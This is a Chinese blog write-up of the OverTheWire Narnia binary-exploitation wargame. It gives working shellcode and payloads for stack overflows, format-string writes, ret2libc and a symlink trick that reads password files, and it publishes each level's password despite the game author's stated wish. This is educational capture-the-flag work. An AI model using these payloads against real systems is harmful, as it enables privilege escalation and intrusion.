前言
- narnia 是 overthewire 上的一个二进制漏洞闯关游戏,总共有9个关卡
平台上编译的二进制可执行文件没有开启 ASLR,关闭了 DEP 以及栈保护。该系列在 overthewire 上的难度系数是 2/10。 - 在通关结尾处作者提到如下
作者想保证游戏的体验度,不希望大家把 writeup 公布出来,犹豫了好久,决定还是把解题过程放出来吧,一方面记录自己入坑二进制的过程,另一方面希望能给其他同学一些参考。level 1: narnia0 -> narnia1
source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
writeup
根据源码可以知道是要覆盖 val 变量的值,以让 val 等于
0xdeadbeef
。但是需要注意一点的是小端序,即要把\xef
放到低地址处从结果看,应当执行成功了,但是没有正常返回 shell,原因是管道输出给程序后,就会自动关闭,导致 shell 无法正常打开
这里修改一下 payload,可以看到成功执行:
payload
1
(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
solution
efeidiedae
level 2: narnia1 -> narnia2
source code
1 |
|
writeup
主程序首先声明一个函数指针
ret
,它会读取环境变量EGG
的值并执行,因此,我们可以在 bash 中将EGG
的值设成一个shellcode
我们先用如下一段
shellcode
:1
2
3
4
5
6
7
8
9
10
11
12xor %eax,%eax
push %eax
push $0x68732f2f ; //sh
push $0x6e69622f ; /bin
mov %esp,%ebx
mov %eax,%ecx
mov %eax,%edx
mov $0xb,%al
int $0x80
xor %eax,%eax
inc %eax
int $0x80转换成操作码为:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
结果如下:
可以看到,只是执行execve("/bin/sh")
的话仍是 narnia1 用户,不能得到 narnia2 的权限;好在程序设置了 SUID 标志位,参考上一题,我们需要执行setreuid(geteuid(),geteuid());
,以让程序根据narnia1
执行文件的 SUID 位将进程的 EUID 变为narnia2
修改 shellcode
在之前的shellcode基础上加上如下部分1
2
3
4
5
6
7
8804841c: 31 c0 xor %eax,%eax
804841e: b0 c9 mov $0xc9,%al
8048420: cd 80 int $0x80
8048422: 89 c3 mov %eax,%ebx
8048424: 89 c1 mov %eax,%ecx
8048426: 31 c0 xor %eax,%eax
8048428: b0 cb mov $0xcb,%al
804842a: cd 80 int $0x80该部分的作用即为
setreuid(geteuid(),geteuid());
成功执行
payload
1
export EGG=`python -c 'print "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
solution
nairiepecu
level 3: narnia2 -> narnia3
source code
1 |
|
writeup
- 这是段常见的栈溢出代码,只需要让
buf
溢出并将main
函数的返回值覆盖为 shellcode 地址即可,下面需要进行两件事请,一是寻找main
函数的返回地址位置相对于buf
的偏移量,二是找出写进去的 shellcode 的地址 - 找函数返回地址相对于
buf
的偏移量:
通过暴力的二分法,我们得到返回地址(也可以借助于msf的测试字符串),buf
位置与返回地址的位置相差140个字节。 - 构造 payload,并找到其地址(我们借用上一题的 shellcode):
随后在gdb
中执行x/250x $esp
,得到下列结果:
找到 shellcode 的地址:0xffffd7d5
- 最终结果
依然要注意,shellcode 的地址采用小端序payload
1
./narnia2 `python -c 'print "A" * 80 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 16 + "\xd5\xd7\xff\xff"'`
solution
vaequeezee
level 4: narnia3 -> narnia4
source code
1 |
|
writeup
一开始看到 strcpy 仍然用之前的方法尝试覆盖,没有成功,因为会把 ofile (以及ifile)覆盖,进入
1
2
3
4if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}时会调用
exit
结束程序再看一看代码,似乎如果能将 ofile 的值改成其他文件,就会把
/etc/narnia_pass/narnia4
的内容读到那个文件里,而借助缓冲区溢出的相关原理,我们能很容易的覆盖 ofile 内容我们创建一个重定向输出文件
/tmp/file
,并将 file 写权限打开:1
touch /tmp/file;chmod o+rwx /tmp/file
于是,进入
/narnia
目录,进行如下操作:
实际上,ofile 的值被我们成功赋值为/tmp/file
但是 ifile 的值却变成了./././../etc/narnia_pass/narnia4/tmp/file
,直接这么做不行,但我们仍要将 ifile 与/etc/narnia_pass/narnia4
联系起来这不,还有软链接嘛
这样,ofile 的值是/tmp/file
;ifile 的值是/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file
,而它是/etc/narnia_pass/narnia4
的软链接payload
1
2
3
4
5cd /narnia && mkdir -p /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/ && \
ln -s /etc/narnia_pass/narnia4 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file && \
touch /tmp/file && chmod o+rwx /tmp/file && \
/narnia/narnia3 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file && \
cat /tmp/file
solution
thaenohtai
level 5: narnia4 -> narnia5
source code
1 |
|
writeup
- 这里可以直接用level 3的方法的:
payload
1
./narnia4 `python -c 'print "A" * 220 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 8 + "\xde\xd7\xff\xff'`
solution
faimahchiy
level 6: narnia5 -> narnia6
source code
1 |
|
writeup
提示似乎是在暗示点什么,之前的题都是缓冲区溢出,这里用到了格式化字符串漏洞的利用。通过
1
2printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);打印
i
的地址也给了我们,而前面的snprintf
函数会造成格式化字符串漏洞先找格式化字符串距离当前位置的偏移
偏移量是 5可以向
0xffffd62c
写数据了payload
1
./narnia5 `python -c 'print "\x2c\xd6\xff\xff" + "%.496x%5$n"'`
solution
neezocaeng
level 7: narnia6 -> narnia7
source code
1 |
|
writeup
看代码的后面几行,程序正常执行时会在退出前调用
fp
指向的函数,也就是puts
。如果能让fp
指向一个我们想要的函数(比如system
),再将b1
的值换成我们想要的参数(比如/bin/sh
),配合着之前的setreuid(geteuid(),geteuid());
,我们就能得到narnia7
的 shell 了再看 main 函数前两行
1
2char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;在栈中,b2、b1、fp、i 的地址依次按从低到高的顺序紧密排列,这样,我们借助
strcpy
就可以先让b1
覆盖fp
的值,再让b2
覆盖b1
、fp
的值,就像这样:1
2strcpy(b1, "AAAAAAAA<system_addr>")
strcpy(b2, "AAAAAAAA/bin/sh");这样赋值以后,
fp
的值就变成system
函数的地址,b2
的值变成/bin/sh
,fp(b1)
执行的就是system("/bin/sh")
。所以,找到system
函数的地址是本题的关键。库函数地址的差异实际上是 libc 基址的差异,库函数在libc中的偏移是不变的。在开启了 ASLR 的平台上,每次程序载入时,libc 的基址都会不同(比如:
system_addr = libc_start_main_addr - libc_start_main_offset + system_offset
)。由于 narnia 平台上关闭了 ASLR,所以只要找到system
地址即可。具体过程如下:- 泄漏
libc_start_main
函数地址:
先反汇编main
函数,找到printf
的地址
设置断点,进入printf
函数,查看栈上的内容,在 0060 位置处找到libc_start_main
信息:
libc_start_main
函数地址:0xf7e2f637 - 247 = 0xf7e2f540
- 在
libc-database
中查看 libc 的版本
- 耐心地查看每一个 libc 版本,找到
system
函数偏移(经检验,本题编译用的是第二个)
- 计算system地址:
system_offset = 0xf7e2f637 - 0x18637 + 0x0003a940 = 0xf7e51940
- 泄漏
利用:
payload
1
./narnia6 $(python -c 'print "A" * 8 + "\x40\x19\xe5\xf7"') $(python -c 'print "A" * 8 + "/bin/sh"')
solution
ahkiaziphu
level 8: narnia7 -> narnia8
source code
1 |
|
writeup
main
函数最后会调用vuln(argv[1])
,vuln
返回的是ptrf()
,看到vuln
里的1
snprintf(buffer, sizeof buffer, format);
首先想到利用格式化字符串漏洞覆写
ptrf
的值,使其指向hackedfunction
不过这里不能确定
format
距离调用snprintf(buffer, sizeof buffer, format);
处的偏移位置。比较暴力的办法就是挨个试。最终,试出偏移位置是 6
payload
1 | ./narnia7 `python -c 'print "\x8c\xd5\xff\xff" + "%134514514x%6$n"'` |
solution
mohthuphog
level 9: narnia8 -> narnia9
source code
1 |
|
writeup
在
func
函数里bok
会造成缓冲区溢出,没有其他函数的帮忙,这里需要我们自己写入 shellcode,覆盖func
的返回地址。bok
比blah
地址低且紧密相连,1
2for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];在给
bok
赋值时,如果argv[1]
的长度超过 20,bok
就会覆盖blah
的值,而blah
存放着argv[1]
的基地址指针,修改后就不能正确访问我们的输入字符串了。要想办法找到
blah
原来的值(即输入字符串的基地址),在输入较长的 payload 时注意把输入字符串的基地址覆盖回去,这样就能将后续的输入内容拷贝到bok
中去,进而修改func
的返回地址。先借助反汇编
func
函数部分,我们在func
中的printf
处设置断点由于
bok
是 20 个字节的缓冲区,我们只需覆盖 20 个字节即可看到 blah 的值
即0xffffd5fc
处的0xffffd802
,它与0xffffd610
处的值相同,而这应该就是b
所在位置我们尝试用
\x02\xd8\xff\xff
覆盖blah
发现b
和blah
的地址不一致,而且由于我们增加了\x02\xd8\xff\xff
四个字节,b
的地址相对于刚才减少了 4当我们将地址改成
\xfe\xd7\xff\xff
又和b
的值一致了。经过多次测试我们发现,缓冲区的限制是 20 个字节,计字符串长度为 n+20,则字符串基址将相应地减少 n。比如像这样:0xffffd7ee
的地址计算方法为:0xffffd802 - 4 - 12 - 4
,这里也很容易看出,func
函数的返回地址存放在ABCD
所在位置处,因此,我们只需将其改成 shellcode 的地址即可接下来,我们需要知道程序执行时
blah
的实际值
然后按照上面的步骤,0xffffd80a - 4 - 12 - 4 - 44 = 0xffffd7ca
,后面 44 字节是 shellcode 的长度,然后计算 shellcode 的地址0xffffd7ca + 20 + 4 + 12 + 4 = 0xffffd7f2
作为第二个 4 字节的值,于是成功构造了pyaload:payload
1
./narnia8 $(python -c 'print "A" * 20 + "\xca\xd7\xff\xff" + "\x90" * 12 + "\xf2\xd7\xff\xff" + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
solution
eiL5fealae
总结
- 还是太菜了,前后断断续续花了一个多礼拜才写完。对于一些底层基础还是不够扎实,比如 level 7 中的 ret2lib 也是照葫芦画瓢,对程序的装载、链接、空间分配等还是不太了解。
- 要多读书多实践 :)